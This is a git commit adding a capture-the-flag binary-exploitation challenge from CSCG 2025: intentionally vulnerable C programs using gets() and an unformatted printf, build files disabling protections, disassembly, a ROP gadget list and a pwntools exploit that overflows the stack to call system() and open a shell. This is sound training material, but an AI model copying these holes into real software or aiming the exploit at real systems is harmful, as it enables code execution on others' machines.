changed repo structure
This commit is contained in:
1
2025/cscg/pwn/intro1/.python-version
Normal file
1
2025/cscg/pwn/intro1/.python-version
Normal file
@@ -0,0 +1 @@
|
||||
3.13
|
||||
55
2025/cscg/pwn/intro1/Dockerfile
Normal file
55
2025/cscg/pwn/intro1/Dockerfile
Normal file
@@ -0,0 +1,55 @@
|
||||
FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS ynetd-builder
|
||||
|
||||
ADD --chmod=0755 --checksum=sha256:c125df9762b0c7233459087bb840c0e5dbfc4d9690ee227f1ed8994f4d51d2e0 \
|
||||
https://raw.githubusercontent.com/reproducible-containers/repro-sources-list.sh/v0.1.4/repro-sources-list.sh \
|
||||
/usr/local/bin/repro-sources-list.sh
|
||||
|
||||
RUN --mount=type=cache,target=/var/cache/apt,sharing=locked --mount=type=cache,target=/var/lib/apt,sharing=locked \
|
||||
/usr/local/bin/repro-sources-list.sh && \
|
||||
apt-get update && \
|
||||
DEBIAN_FRONTEND=noninteractive apt-get install --no-install-recommends --yes \
|
||||
musl-dev \
|
||||
musl-tools \
|
||||
make \
|
||||
xz-utils && \
|
||||
rm -f /usr/local/bin/repro-sources-list.sh
|
||||
|
||||
WORKDIR /work
|
||||
|
||||
ADD --chmod=0666 --checksum=sha256:4300f2fbc3996bc389d3c03a74662bfff3106ac1930942c5bd27580c7ba5053d \
|
||||
https://yx7.cc/code/ynetd/ynetd-0.1.2.tar.xz \
|
||||
/work/ynetd-0.1.2.tar.xz
|
||||
|
||||
RUN tar -xJf ynetd-0.1.2.tar.xz && cd ynetd-0.1.2 && CC="musl-gcc" CFLAGS="-static" make
|
||||
|
||||
FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS challenge-builder
|
||||
|
||||
ADD --chmod=0755 --checksum=sha256:c125df9762b0c7233459087bb840c0e5dbfc4d9690ee227f1ed8994f4d51d2e0 \
|
||||
https://raw.githubusercontent.com/reproducible-containers/repro-sources-list.sh/v0.1.4/repro-sources-list.sh \
|
||||
/usr/local/bin/repro-sources-list.sh
|
||||
|
||||
RUN --mount=type=cache,target=/var/cache/apt,sharing=locked --mount=type=cache,target=/var/lib/apt,sharing=locked \
|
||||
/usr/local/bin/repro-sources-list.sh && \
|
||||
apt-get update && \
|
||||
DEBIAN_FRONTEND=noninteractive apt-get install --no-install-recommends --yes \
|
||||
gcc libc-dev make && \
|
||||
rm -f /usr/local/bin/repro-sources-list.sh
|
||||
|
||||
WORKDIR /work
|
||||
|
||||
COPY ./intro-pwn.c ./Makefile /work
|
||||
|
||||
RUN make
|
||||
RUN echo "85c479b7682a099fd5e1365ade142f55a8d0c2be7278126c74f0155f9f04b450 ./intro-pwn" | sha256sum -c
|
||||
|
||||
FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS runner
|
||||
|
||||
COPY --from=ynetd-builder /work/ynetd-0.1.2/ynetd /ynetd
|
||||
|
||||
COPY --from=challenge-builder /work/intro-pwn /intro-pwn
|
||||
|
||||
COPY ./flag /flag
|
||||
|
||||
EXPOSE 1024
|
||||
|
||||
CMD ["/ynetd", "-se", "y", "-p", "1024", "/intro-pwn"]
|
||||
8
2025/cscg/pwn/intro1/Makefile
Normal file
8
2025/cscg/pwn/intro1/Makefile
Normal file
@@ -0,0 +1,8 @@
|
||||
CC = gcc
|
||||
CFLAGS = -Wall -Wextra -g -std=c99 -g -fno-stack-protector -no-pie
|
||||
|
||||
intro-pwn: intro-pwn.c
|
||||
$(CC) $(CFLAGS) -o intro-pwn intro-pwn.c
|
||||
|
||||
clean:
|
||||
rm -f intro-pwn
|
||||
0
2025/cscg/pwn/intro1/README.md
Normal file
0
2025/cscg/pwn/intro1/README.md
Normal file
202
2025/cscg/pwn/intro1/dump
Normal file
202
2025/cscg/pwn/intro1/dump
Normal file
@@ -0,0 +1,202 @@
|
||||
|
||||
intro-pwn: file format elf64-x86-64
|
||||
|
||||
|
||||
Disassembly of section .init:
|
||||
|
||||
0000000000401000 <_init>:
|
||||
401000: 48 83 ec 08 sub rsp,0x8
|
||||
401004: 48 8b 05 d5 2f 00 00 mov rax,QWORD PTR [rip+0x2fd5] # 403fe0 <__gmon_start__@Base>
|
||||
40100b: 48 85 c0 test rax,rax
|
||||
40100e: 74 02 je 401012 <_init+0x12>
|
||||
401010: ff d0 call rax
|
||||
401012: 48 83 c4 08 add rsp,0x8
|
||||
401016: c3 ret
|
||||
|
||||
Disassembly of section .plt:
|
||||
|
||||
0000000000401020 <puts@plt-0x10>:
|
||||
401020: ff 35 ca 2f 00 00 push QWORD PTR [rip+0x2fca] # 403ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
|
||||
401026: ff 25 cc 2f 00 00 jmp QWORD PTR [rip+0x2fcc] # 403ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
|
||||
40102c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
0000000000401030 <puts@plt>:
|
||||
401030: ff 25 ca 2f 00 00 jmp QWORD PTR [rip+0x2fca] # 404000 <puts@GLIBC_2.2.5>
|
||||
401036: 68 00 00 00 00 push 0x0
|
||||
40103b: e9 e0 ff ff ff jmp 401020 <_init+0x20>
|
||||
|
||||
0000000000401040 <system@plt>:
|
||||
401040: ff 25 c2 2f 00 00 jmp QWORD PTR [rip+0x2fc2] # 404008 <system@GLIBC_2.2.5>
|
||||
401046: 68 01 00 00 00 push 0x1
|
||||
40104b: e9 d0 ff ff ff jmp 401020 <_init+0x20>
|
||||
|
||||
0000000000401050 <printf@plt>:
|
||||
401050: ff 25 ba 2f 00 00 jmp QWORD PTR [rip+0x2fba] # 404010 <printf@GLIBC_2.2.5>
|
||||
401056: 68 02 00 00 00 push 0x2
|
||||
40105b: e9 c0 ff ff ff jmp 401020 <_init+0x20>
|
||||
|
||||
0000000000401060 <gets@plt>:
|
||||
401060: ff 25 b2 2f 00 00 jmp QWORD PTR [rip+0x2fb2] # 404018 <gets@GLIBC_2.2.5>
|
||||
401066: 68 03 00 00 00 push 0x3
|
||||
40106b: e9 b0 ff ff ff jmp 401020 <_init+0x20>
|
||||
|
||||
0000000000401070 <setvbuf@plt>:
|
||||
401070: ff 25 aa 2f 00 00 jmp QWORD PTR [rip+0x2faa] # 404020 <setvbuf@GLIBC_2.2.5>
|
||||
401076: 68 04 00 00 00 push 0x4
|
||||
40107b: e9 a0 ff ff ff jmp 401020 <_init+0x20>
|
||||
|
||||
Disassembly of section .text:
|
||||
|
||||
0000000000401080 <_start>:
|
||||
401080: 31 ed xor ebp,ebp
|
||||
401082: 49 89 d1 mov r9,rdx
|
||||
401085: 5e pop rsi
|
||||
401086: 48 89 e2 mov rdx,rsp
|
||||
401089: 48 83 e4 f0 and rsp,0xfffffffffffffff0
|
||||
40108d: 50 push rax
|
||||
40108e: 54 push rsp
|
||||
40108f: 45 31 c0 xor r8d,r8d
|
||||
401092: 31 c9 xor ecx,ecx
|
||||
401094: 48 c7 c7 23 12 40 00 mov rdi,0x401223
|
||||
40109b: ff 15 37 2f 00 00 call QWORD PTR [rip+0x2f37] # 403fd8 <__libc_start_main@GLIBC_2.34>
|
||||
4010a1: f4 hlt
|
||||
4010a2: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
|
||||
4010a9: 00 00 00
|
||||
4010ac: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
00000000004010b0 <_dl_relocate_static_pie>:
|
||||
4010b0: c3 ret
|
||||
4010b1: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
|
||||
4010b8: 00 00 00
|
||||
4010bb: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
|
||||
|
||||
00000000004010c0 <deregister_tm_clones>:
|
||||
4010c0: b8 38 40 40 00 mov eax,0x404038
|
||||
4010c5: 48 3d 38 40 40 00 cmp rax,0x404038
|
||||
4010cb: 74 13 je 4010e0 <deregister_tm_clones+0x20>
|
||||
4010cd: b8 00 00 00 00 mov eax,0x0
|
||||
4010d2: 48 85 c0 test rax,rax
|
||||
4010d5: 74 09 je 4010e0 <deregister_tm_clones+0x20>
|
||||
4010d7: bf 38 40 40 00 mov edi,0x404038
|
||||
4010dc: ff e0 jmp rax
|
||||
4010de: 66 90 xchg ax,ax
|
||||
4010e0: c3 ret
|
||||
4010e1: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0]
|
||||
4010e8: 00 00 00 00
|
||||
4010ec: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
00000000004010f0 <register_tm_clones>:
|
||||
4010f0: be 38 40 40 00 mov esi,0x404038
|
||||
4010f5: 48 81 ee 38 40 40 00 sub rsi,0x404038
|
||||
4010fc: 48 89 f0 mov rax,rsi
|
||||
4010ff: 48 c1 ee 3f shr rsi,0x3f
|
||||
401103: 48 c1 f8 03 sar rax,0x3
|
||||
401107: 48 01 c6 add rsi,rax
|
||||
40110a: 48 d1 fe sar rsi,1
|
||||
40110d: 74 11 je 401120 <register_tm_clones+0x30>
|
||||
40110f: b8 00 00 00 00 mov eax,0x0
|
||||
401114: 48 85 c0 test rax,rax
|
||||
401117: 74 07 je 401120 <register_tm_clones+0x30>
|
||||
401119: bf 38 40 40 00 mov edi,0x404038
|
||||
40111e: ff e0 jmp rax
|
||||
401120: c3 ret
|
||||
401121: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0]
|
||||
401128: 00 00 00 00
|
||||
40112c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
0000000000401130 <__do_global_dtors_aux>:
|
||||
401130: f3 0f 1e fa endbr64
|
||||
401134: 80 3d 2d 2f 00 00 00 cmp BYTE PTR [rip+0x2f2d],0x0 # 404068 <completed.0>
|
||||
40113b: 75 13 jne 401150 <__do_global_dtors_aux+0x20>
|
||||
40113d: 55 push rbp
|
||||
40113e: 48 89 e5 mov rbp,rsp
|
||||
401141: e8 7a ff ff ff call 4010c0 <deregister_tm_clones>
|
||||
401146: c6 05 1b 2f 00 00 01 mov BYTE PTR [rip+0x2f1b],0x1 # 404068 <completed.0>
|
||||
40114d: 5d pop rbp
|
||||
40114e: c3 ret
|
||||
40114f: 90 nop
|
||||
401150: c3 ret
|
||||
401151: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0]
|
||||
401158: 00 00 00 00
|
||||
40115c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
0000000000401160 <frame_dummy>:
|
||||
401160: f3 0f 1e fa endbr64
|
||||
401164: eb 8a jmp 4010f0 <register_tm_clones>
|
||||
|
||||
0000000000401166 <ignore_me_init_buffering>:
|
||||
401166: 55 push rbp
|
||||
401167: 48 89 e5 mov rbp,rsp
|
||||
40116a: 48 8b 05 cf 2e 00 00 mov rax,QWORD PTR [rip+0x2ecf] # 404040 <stdout@GLIBC_2.2.5>
|
||||
401171: b9 00 00 00 00 mov ecx,0x0
|
||||
401176: ba 02 00 00 00 mov edx,0x2
|
||||
40117b: be 00 00 00 00 mov esi,0x0
|
||||
401180: 48 89 c7 mov rdi,rax
|
||||
401183: e8 e8 fe ff ff call 401070 <setvbuf@plt>
|
||||
401188: 48 8b 05 c1 2e 00 00 mov rax,QWORD PTR [rip+0x2ec1] # 404050 <stdin@GLIBC_2.2.5>
|
||||
40118f: b9 00 00 00 00 mov ecx,0x0
|
||||
401194: ba 02 00 00 00 mov edx,0x2
|
||||
401199: be 00 00 00 00 mov esi,0x0
|
||||
40119e: 48 89 c7 mov rdi,rax
|
||||
4011a1: e8 ca fe ff ff call 401070 <setvbuf@plt>
|
||||
4011a6: 48 8b 05 b3 2e 00 00 mov rax,QWORD PTR [rip+0x2eb3] # 404060 <stderr@GLIBC_2.2.5>
|
||||
4011ad: b9 00 00 00 00 mov ecx,0x0
|
||||
4011b2: ba 02 00 00 00 mov edx,0x2
|
||||
4011b7: be 00 00 00 00 mov esi,0x0
|
||||
4011bc: 48 89 c7 mov rdi,rax
|
||||
4011bf: e8 ac fe ff ff call 401070 <setvbuf@plt>
|
||||
4011c4: 90 nop
|
||||
4011c5: 5d pop rbp
|
||||
4011c6: c3 ret
|
||||
|
||||
00000000004011c7 <win>:
|
||||
4011c7: 55 push rbp
|
||||
4011c8: 48 89 e5 mov rbp,rsp
|
||||
4011cb: 48 8d 05 36 0e 00 00 lea rax,[rip+0xe36] # 402008 <_IO_stdin_used+0x8>
|
||||
4011d2: 48 89 c7 mov rdi,rax
|
||||
4011d5: e8 66 fe ff ff call 401040 <system@plt>
|
||||
4011da: 90 nop
|
||||
4011db: 5d pop rbp
|
||||
4011dc: c3 ret
|
||||
|
||||
00000000004011dd <vuln>:
|
||||
4011dd: 55 push rbp
|
||||
4011de: 48 89 e5 mov rbp,rsp
|
||||
4011e1: 48 83 ec 10 sub rsp,0x10
|
||||
4011e5: 48 8d 05 36 0e 00 00 lea rax,[rip+0xe36] # 402022 <_IO_stdin_used+0x22>
|
||||
4011ec: 48 89 c7 mov rdi,rax
|
||||
4011ef: e8 3c fe ff ff call 401030 <puts@plt>
|
||||
4011f4: 48 8d 45 f0 lea rax,[rbp-0x10]
|
||||
4011f8: 48 89 c7 mov rdi,rax
|
||||
4011fb: e8 60 fe ff ff call 401060 <gets@plt>
|
||||
401200: 48 8d 45 f0 lea rax,[rbp-0x10]
|
||||
401204: ba 5f c3 00 00 mov edx,0xc35f
|
||||
401209: 48 89 c6 mov rsi,rax
|
||||
40120c: 48 8d 05 25 0e 00 00 lea rax,[rip+0xe25] # 402038 <_IO_stdin_used+0x38>
|
||||
401213: 48 89 c7 mov rdi,rax
|
||||
401216: b8 00 00 00 00 mov eax,0x0
|
||||
40121b: e8 30 fe ff ff call 401050 <printf@plt>
|
||||
401220: 90 nop
|
||||
401221: c9 leave
|
||||
401222: c3 ret
|
||||
|
||||
0000000000401223 <main>:
|
||||
401223: 55 push rbp
|
||||
401224: 48 89 e5 mov rbp,rsp
|
||||
401227: 48 83 ec 10 sub rsp,0x10
|
||||
40122b: 89 7d fc mov DWORD PTR [rbp-0x4],edi
|
||||
40122e: 48 89 75 f0 mov QWORD PTR [rbp-0x10],rsi
|
||||
401232: b8 00 00 00 00 mov eax,0x0
|
||||
401237: e8 2a ff ff ff call 401166 <ignore_me_init_buffering>
|
||||
40123c: b8 00 00 00 00 mov eax,0x0
|
||||
401241: e8 97 ff ff ff call 4011dd <vuln>
|
||||
401246: b8 00 00 00 00 mov eax,0x0
|
||||
40124b: c9 leave
|
||||
40124c: c3 ret
|
||||
|
||||
Disassembly of section .fini:
|
||||
|
||||
0000000000401250 <_fini>:
|
||||
401250: 48 83 ec 08 sub rsp,0x8
|
||||
401254: 48 83 c4 08 add rsp,0x8
|
||||
401258: c3 ret
|
||||
34
2025/cscg/pwn/intro1/exploit.py
Normal file
34
2025/cscg/pwn/intro1/exploit.py
Normal file
@@ -0,0 +1,34 @@
|
||||
from pwn import *
|
||||
|
||||
# Set the context for the binary
|
||||
context.binary = './intro-pwn' # Replace with your binary's name
|
||||
|
||||
# Choose local or remote
|
||||
LOCAL = True # Change to False if connecting remotely
|
||||
|
||||
if LOCAL:
|
||||
p = process(context.binary.path)
|
||||
else:
|
||||
p = remote("a05e1cfb314bce1c87472c7e-1024-intro-pwn-1.challenge.cscg.live", 1337, ssl=True)# Define functions for convenience
|
||||
def send_payload(payload):
|
||||
p.sendline(payload)
|
||||
|
||||
def recv_until(delim):
|
||||
return p.recvuntil(delim)
|
||||
|
||||
def interact():
|
||||
p.interactive()
|
||||
|
||||
address = 0x4011c7
|
||||
system = 0x4011d5
|
||||
pop_rdi = 0x401205
|
||||
command_addr = 0x402010
|
||||
|
||||
|
||||
# Example interaction
|
||||
recv_until(b'What is your name?')
|
||||
payload = b'A' * 16 + b'\x00' * 8 + p64(pop_rdi) + p64(command_addr) + p64(system)# Adjust based on your needs
|
||||
send_payload(payload)
|
||||
|
||||
interact() # Keep the shell open
|
||||
|
||||
1
2025/cscg/pwn/intro1/flag
Normal file
1
2025/cscg/pwn/intro1/flag
Normal file
@@ -0,0 +1 @@
|
||||
CSCG{testflag}
|
||||
BIN
2025/cscg/pwn/intro1/intro-pwn
Executable file
BIN
2025/cscg/pwn/intro1/intro-pwn
Executable file
Binary file not shown.
33
2025/cscg/pwn/intro1/intro-pwn.c
Normal file
33
2025/cscg/pwn/intro1/intro-pwn.c
Normal file
@@ -0,0 +1,33 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
// --------------------------------------------------- SETUP
|
||||
|
||||
void ignore_me_init_buffering() {
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
}
|
||||
|
||||
// --------------------------------------------------- VULNERABLE FUNCTION
|
||||
|
||||
void win() { system("echo no cat /flag for you"); }
|
||||
|
||||
void vuln() {
|
||||
char name[16];
|
||||
printf("What is your name?\n");
|
||||
gets(name);
|
||||
printf("Hello %s!\nI have a present for you: %d\n", name, 0xc35f);
|
||||
}
|
||||
|
||||
// --------------------------------------------------- MAIN
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
|
||||
ignore_me_init_buffering();
|
||||
|
||||
vuln();
|
||||
return 0;
|
||||
}
|
||||
9
2025/cscg/pwn/intro1/last-year/README.md
Normal file
9
2025/cscg/pwn/intro1/last-year/README.md
Normal file
@@ -0,0 +1,9 @@
|
||||
This is an introductory challenge for exploiting Linux binaries with memory corruptions. Nowadays there are quite a few mitigations that make it not as straight forward as it used to be.
|
||||
So in order to introduce players to pwnable challenges, [LiveOverflow created a video walkthrough](https://www.youtube.com/watch?v=hhu7vhmuISY) of the first challenge.
|
||||
|
||||
This challenge was already featured in last year's CSCG. We are aware that public writeups exist, but we figured this challenge is still a nice-to-have for newcomers, so we released it again.
|
||||
|
||||
*Note*: The video writeup of LiveOverflow is not completely functional. To give you hint: It's about the address of the `ret` instruction that was chosen to re-align the stack.
|
||||
|
||||
Suppose `ASLR` is rather 'smooth' - meaning a whole bunch of nibbles are zero - (which is pretty much always the case in our setup) all addresses within the offset range of `0xa00` to `0xaff`
|
||||
translate to addresses looking like `xxxxxxxxxx0axx`, requiring you to send the bytes `xx xx xx xx xx xx 0a xx` over the wire. Now the problem with this is that `0a` is a newline (`\\n`), which in turn terminates `gets()` (refer to `man 3 gets`), meaning that your payload terminates prematurely.
|
||||
BIN
2025/cscg/pwn/intro1/last-year/pwn1
Executable file
BIN
2025/cscg/pwn/intro1/last-year/pwn1
Executable file
Binary file not shown.
70
2025/cscg/pwn/intro1/last-year/pwn1.c
Normal file
70
2025/cscg/pwn/intro1/last-year/pwn1.c
Normal file
@@ -0,0 +1,70 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <signal.h>
|
||||
#include <string.h>
|
||||
|
||||
// pwn1: gcc pwn1.c -o pwn1
|
||||
|
||||
// --------------------------------------------------- SETUP
|
||||
|
||||
void ignore_me_init_buffering() {
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
}
|
||||
|
||||
void kill_on_timeout(int sig) {
|
||||
if (sig == SIGALRM) {
|
||||
printf("[!] Anti DoS Signal. Patch me out for testing.");
|
||||
_exit(0);
|
||||
}
|
||||
}
|
||||
|
||||
void ignore_me_init_signal() {
|
||||
signal(SIGALRM, kill_on_timeout);
|
||||
alarm(60);
|
||||
}
|
||||
|
||||
// --------------------------------------------------- MENU
|
||||
|
||||
void WINgardium_leviosa() {
|
||||
printf("┌───────────────────────┐\n");
|
||||
printf("│ You are a Slytherin.. │\n");
|
||||
printf("└───────────────────────┘\n");
|
||||
system("/bin/sh");
|
||||
}
|
||||
|
||||
void welcome() {
|
||||
char read_buf[0xff];
|
||||
printf("Enter your witch name:\n");
|
||||
gets(read_buf);
|
||||
printf("┌───────────────────────┐\n");
|
||||
printf("│ You are a Hufflepuff! │\n");
|
||||
printf("└───────────────────────┘\n");
|
||||
printf(read_buf);
|
||||
}
|
||||
|
||||
void AAAAAAAA() {
|
||||
char read_buf[0xff];
|
||||
|
||||
printf(" enter your magic spell:\n");
|
||||
gets(read_buf);
|
||||
if(strcmp(read_buf, "Expelliarmus") == 0) {
|
||||
printf("~ Protego!\n");
|
||||
} else {
|
||||
printf("-10 Points for Hufflepuff!\n");
|
||||
_exit(0);
|
||||
}
|
||||
}
|
||||
// --------------------------------------------------- MAIN
|
||||
|
||||
void main(int argc, char* argv[]) {
|
||||
ignore_me_init_buffering();
|
||||
ignore_me_init_signal();
|
||||
|
||||
welcome();
|
||||
AAAAAAAA();
|
||||
}
|
||||
|
||||
|
||||
9
2025/cscg/pwn/intro1/pyproject.toml
Normal file
9
2025/cscg/pwn/intro1/pyproject.toml
Normal file
@@ -0,0 +1,9 @@
|
||||
[project]
|
||||
name = "intro1"
|
||||
version = "0.1.0"
|
||||
description = "Add your description here"
|
||||
readme = "README.md"
|
||||
requires-python = ">=3.13"
|
||||
dependencies = [
|
||||
"pwntools>=4.14.1",
|
||||
]
|
||||
112
2025/cscg/pwn/intro1/rop_gadgedts
Normal file
112
2025/cscg/pwn/intro1/rop_gadgedts
Normal file
@@ -0,0 +1,112 @@
|
||||
|
||||
|
||||
|
||||
Gadgets
|
||||
=======
|
||||
|
||||
|
||||
[0;31m0x0000000000401098[0m: [0;37m[0;37m[1;33madc[0m [0m[0;37mal, byte ptr [rax][0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37mqword ptr [rip + 0x2f37][0m[0m[1;34m; [0m[1;33mhlt[0m[1;34m; [0m[0;37m[0;37m[1;33mnop[0m [0m[0;37mword ptr cs:[rax + rax][0m[0m[1;34m; [0m[0;37m[0;37m[1;33mnop[0m [0m[0;37mdword ptr [rax][0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x000000000040110e[0m: [0;37m[0;37m[1;33madc[0m [0m[0;37mdword ptr [rax], edi[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mtest[0m [0m[0;37mrax, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x1120[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37medi, 0x404038[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mjmp[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x000000000040109c[0m: [0;37m[0;37m[1;33madc[0m [0m[0;37meax, 0x2f37[0m[0m[1;34m; [0m[1;33mhlt[0m[1;34m; [0m[0;37m[0;37m[1;33mnop[0m [0m[0;37mword ptr cs:[rax + rax][0m[0m[1;34m; [0m[0;37m[0;37m[1;33mnop[0m [0m[0;37mdword ptr [rax][0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x00000000004010cc[0m: [0;37m[0;37m[1;33madc[0m [0m[0;37medi, dword ptr [rax][0m[0m[1;34m; [0m[0;37m[0;37m[1;33mtest[0m [0m[0;37mrax, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x10e0[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37medi, 0x404038[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mjmp[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x000000000040113c[0m: [0;37m[0;37m[1;33madc[0m [0m[0;37medx, dword ptr [rbp + 0x48][0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37mebp, esp[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37m0x10c0[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37mbyte ptr [rip + 0x2f1b], 1[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mpop[0m [0m[0;37mrbp[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x00000000004010a0[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mah, dh[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mnop[0m [0m[0;37mword ptr cs:[rax + rax][0m[0m[1;34m; [0m[0;37m[0;37m[1;33mnop[0m [0m[0;37mdword ptr [rax][0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x000000000040109a[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mbh, bh[0m[0m[1;34m; [0m[0;37m[0;37m[1;33madc[0m [0m[0;37meax, 0x2f37[0m[0m[1;34m; [0m[1;33mhlt[0m[1;34m; [0m[0;37m[0;37m[1;33mnop[0m [0m[0;37mword ptr cs:[rax + rax][0m[0m[1;34m; [0m[0;37m[0;37m[1;33mnop[0m [0m[0;37mdword ptr [rax][0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x000000000040100a[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax - 0x7b], cl[0m[0m[1;34m; [0m[0;37m[0;37m[1;33msal[0m [0m[0;37mbyte ptr [rdx + rax - 1], 0xd0[0m[0m[1;34m; [0m[0;37m[0;37m[1;33madd[0m [0m[0;37mrsp, 8[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401217[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37m0x1050[0m[0m[1;34m; [0m[1;33mnop[0m[1;34m; [0m[1;33mleave[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x000000000040123d[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37m0x11dd[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37meax, 0[0m[0m[1;34m; [0m[1;33mleave[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x00000000004010a8[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mnop[0m [0m[0;37mdword ptr [rax][0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x00000000004010ce[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mtest[0m [0m[0;37mrax, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x10e0[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37medi, 0x404038[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mjmp[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401110[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mtest[0m [0m[0;37mrax, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x1120[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37medi, 0x404038[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mjmp[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401247[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[1;33mleave[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401248[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[0;37m[0;37m[1;33madd[0m [0m[0;37mcl, cl[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401219[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37m0x1050[0m[0m[1;34m; [0m[1;33mnop[0m[1;34m; [0m[1;33mleave[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
